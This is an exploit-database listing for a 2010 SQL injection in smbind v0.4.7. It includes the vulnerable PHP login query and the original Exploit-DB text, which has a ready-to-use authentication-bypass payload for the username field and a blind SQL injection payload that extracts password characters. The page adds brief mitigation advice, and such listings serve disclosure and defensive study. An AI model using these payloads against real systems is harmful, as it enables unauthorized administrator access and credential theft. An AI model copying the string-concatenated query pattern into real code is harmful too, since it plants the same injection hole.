smbind - exploit.company

vendor:

smbind

by:

IHTeam

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: smbind

Affected Version From: v.0.4.7

Affected Version To: v.0.4.7

Patch Exists: NO

Related CWE: N/A

CPE: a:smbind:smbind

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

smbind <= v.0.4.7 Sql Injection

smbind <= v.0.4.7 is vulnerable to SQL Injection. An attacker can exploit this vulnerability by entering malicious input in the username and password fields. If the magic_quote_gpc is set to Off, the attacker can use blind SQL injection to gain access to the application. The attacker can also use the username field to enter 'admin'; # and the password field to enter any value to gain access to the application.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries. Also, ensure that the magic_quote_gpc is set to On.

Source

Exploit-DB raw data:

##############################################################################################
#
# smbind <= v.0.4.7 Sql Injection
# Site: https://sourceforge.net/projects/smbind/files/
# Reported on 28/08/2010
#
# Author: IHTeam
#
##############################################################################################
#
# Buggy code:
#
if(isset($_POST['username']) && isset($_POST['password'])) {
        if((!filter("alphanum", $_POST['username'])) or (!filter("alphanum", $_POST['password']))) {
                die("Username and password must contain only letters and numbers.");
        }
        $_SESSION['username'] = $_POST['username'];
        $_SESSION['password'] = $_POST['password'];
}

if(isset($_SESSION['username']) && isset($_SESSION['password'])) {
        $res = $dbconnect->query("SELECT ID FROM users WHERE username = '" . $_SESSION['username'] ."' AND password = '" . md5($_SESSION['password']) . " ' ");
#
##############################################################################################
#
# Easy admin login
#
# Enter in username field: admin'; #
# Enter in password field: [anything]
#
# Sql query will result like this: SELECT ID FROM users WHERE username = 'admin'; #' AND password = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
#
##############################################################################################
#
# Limitation and Blind Sql Injection
#
# You're able to make blind sql injection too. Just input in username field something like this:
# admin' AND SUBSTRING(password,1,1)=char(49); #
#
# That sql injection work only with magic_quote_gpc = Off
#
##############################################################################################